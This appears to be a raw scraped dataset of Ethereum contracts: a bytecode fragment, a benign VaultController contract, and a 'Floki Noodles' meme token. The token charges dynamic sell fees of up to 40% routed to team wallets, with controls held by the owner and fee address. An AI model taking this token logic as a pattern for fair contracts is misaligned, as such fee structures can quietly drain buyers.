ffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e35816004546114a390919063ffffffff16565b600481905550610e8d81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b610fec82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108182600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211156111c957600080fd5b818303905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415806112d75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112d65750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806113885750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113875750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b8061142d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561142c5750600554600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b61149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f63616e6e6f74206265207a65726f20616464726573730000000000000000000081525060200191505060405180910390fd5b5050565b60008183019050828110156114b757600080fd5b9291505056fea264697066735822122029b41316c65207f4c9af5ffa9298e60111bbfa20ebe8c1cf9da9d126b40a4a7f64736f6c63430007060033 | {"success": true, "error": null, "results": {}} | 1,968 |
0xBc51c25F202308930fa7df67BC4B654106c95F37 | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.6;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event OwnershipTransferInitiated(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferConfirmed(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferConfirmed(address(0), owner);
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferInitiated(owner, _newOwner);
pendingOwner = _newOwner;
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "Ownable: caller is not pending owner");
emit OwnershipTransferConfirmed(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract VaultController is Ownable {
using Address for address;
address public rebalancer;
bool public depositsEnabled;
mapping(address => bool) public isGuardian;
mapping(address => uint) public depositLimit;
event NewDepositLimit(address indexed vault, uint amount);
event DepositsEnabled(bool value);
event NewRebalancer(address indexed rebalancer);
event AllowGuardian(address indexed guardian, bool value);
modifier onlyGuardian() {
require(isGuardian[msg.sender], "VaultController: caller is not a guardian");
_;
}
constructor() {
depositsEnabled = true;
}
function setRebalancer(address _rebalancer) external onlyOwner {
_requireContract(_rebalancer);
rebalancer = _rebalancer;
emit NewRebalancer(_rebalancer);
}
// Allow immediate emergency shutdown of deposits by the guardian.
function disableDeposits() external onlyGuardian {
depositsEnabled = false;
emit DepositsEnabled(false);
}
// Re-enabling deposits can only be done by the owner
function enableDeposits() external onlyOwner {
depositsEnabled = true;
emit DepositsEnabled(true);
}
function setDepositLimit(address _vault, uint _amount) external onlyOwner {
_requireContract(_vault);
depositLimit[_vault] = _amount;
emit NewDepositLimit(_vault, _amount);
}
function allowGuardian(address _guardian, bool _value) external onlyOwner {
isGuardian[_guardian] = _value;
emit AllowGuardian(_guardian, _value);
}
function _requireContract(address _value) internal view {
require(_value.isContract(), "VaultController: must be a contract");
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806379ba50971161008c578063ac67e1af11610066578063ac67e1af146101d7578063e30c3978146101df578063f2fde38b146101f2578063ff98c1e71461020557600080fd5b806379ba5097146101a95780638da5cb5b146101b15780638f32d59b146101c457600080fd5b80635392fd1c116100c85780635392fd1c146101675780635e4c57a41461017b5780636cfd15531461018357806379652bd61461019657600080fd5b806301d22ccd146100ef5780630c68ba211461011f578063272d177d14610152575b600080fd5b600254610102906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61014261012d366004610720565b60036020526000908152604090205460ff1681565b6040519015158152602001610116565b61016561016036600461077e565b610233565b005b60025461014290600160a01b900460ff1681565b6101656102c8565b610165610191366004610720565b61033c565b6101656101a4366004610742565b6103b9565b61016561043b565b600054610102906001600160a01b031681565b6000546001600160a01b03163314610142565b610165610505565b600154610102906001600160a01b031681565b610165610200366004610720565b6105b4565b610225610213366004610720565b60046020526000908152604090205481565b604051908152602001610116565b6000546001600160a01b031633146102665760405162461bcd60e51b815260040161025d906107a8565b60405180910390fd5b61026f8261069e565b6001600160a01b03821660008181526004602052604090819020839055517f1011e87ba3050b2d8e1056215c975f86fd3b4bb0fd318474f313eb4c052f87bd906102bc9084815260200190565b60405180910390a25050565b6000546001600160a01b031633146102f25760405162461bcd60e51b815260040161025d906107a8565b6002805460ff60a01b1916600160a01b179055604051600181527f7b014ed3854e7f5cb0218d58b3c6ae7d53a68bb0af2f67bfb029ea42c38a7e85906020015b60405180910390a1565b6000546001600160a01b031633146103665760405162461bcd60e51b815260040161025d906107a8565b61036f8161069e565b600280546001600160a01b0319166001600160a01b0383169081179091556040517ff82e12abcc9d9ad0deb2ba4299126479da600b31cc4085d7f75778922e829bf590600090a250565b6000546001600160a01b031633146103e35760405162461bcd60e51b815260040161025d906107a8565b6001600160a01b038216600081815260036020908152604091829020805460ff191685151590811790915591519182527f4b7033fd223c7f9ac564197cd579d0e520b0629ebd2cace28d4cb5bd4b90e84b91016102bc565b6001546001600160a01b031633146104a15760405162461bcd60e51b8152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742070656e64696e67206f6044820152633bb732b960e11b606482015260840161025d565b600154600080546040516001600160a01b0393841693909116917f646fe5eeb20d96ea45a9caafcb508854a2fb5660885ced7772e12a633c97457191a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b3360009081526003602052604090205460ff166105765760405162461bcd60e51b815260206004820152602960248201527f5661756c74436f6e74726f6c6c65723a2063616c6c6572206973206e6f7420616044820152681033bab0b93234b0b760b91b606482015260840161025d565b6002805460ff60a01b19169055604051600081527f7b014ed3854e7f5cb0218d58b3c6ae7d53a68bb0af2f67bfb029ea42c38a7e8590602001610332565b6000546001600160a01b031633146105de5760405162461bcd60e51b815260040161025d906107a8565b6001600160a01b0381166106435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161025d565b600080546040516001600160a01b03808516939216917fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381163b6107015760405162461bcd60e51b815260206004820152602360248201527f5661756c74436f6e74726f6c6c65723a206d757374206265206120636f6e74726044820152621858dd60ea1b606482015260840161025d565b50565b80356001600160a01b038116811461071b57600080fd5b919050565b60006020828403121561073257600080fd5b61073b82610704565b9392505050565b6000806040838503121561075557600080fd5b61075e83610704565b91506020830135801515811461077357600080fd5b809150509250929050565b6000806040838503121561079157600080fd5b61079a83610704565b946020939093013593505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212204515cad1a1917b567ffe3dcd3ed4713d19276ed3b239c7350854711fc3c08bf764736f6c63430008060033 | {"success": true, "error": null, "results": {}} | 1,969 |
0x09f19b15d37f066eea74bcbc150e92531e3efecd | /**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
/**
*
* Floki Noodles
* Telegram: https://t.me/flokinoodles
* Twitter: https://twitter.com/flokinoodles
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
*
* Maximum Wallet Token Percentage
* - For the first hour from release. there is a 2% token wallet limit (2,000,000,000)
* - From the first to second hour from release, there is a 5% token wallet limit (5,000,000,000)
* - After 2 hours, the % wallet limit is lifted
*
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiNoodles is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Floki Noodles | t.me/flokinoodles";
string private constant _symbol = unicode"FlokiNoods";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
uint256 private buyFirstHour;
uint256 private buySecondHour;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
if (buyFirstHour > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (buySecondHour > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(5).div(100));
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2).div(2));
_marketingFixedWalletAddress.transfer(amount.div(2).div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
buyFirstHour = block.timestamp + (60 minutes);
buySecondHour = block.timestamp + (120 minutes);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b6040516101679190613201565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612d0b565b61052d565b6040516101a491906131e6565b60405180910390f35b3480156101b957600080fd5b506101c261054b565b6040516101cf91906133e3565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612cb8565b61055c565b60405161020c91906131e6565b60405180910390f35b34801561022157600080fd5b5061022a610635565b60405161023791906133e3565b60405180910390f35b34801561024c57600080fd5b50610255610645565b6040516102629190613458565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612da5565b61064e565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612d4b565b610735565b005b3480156102c957600080fd5b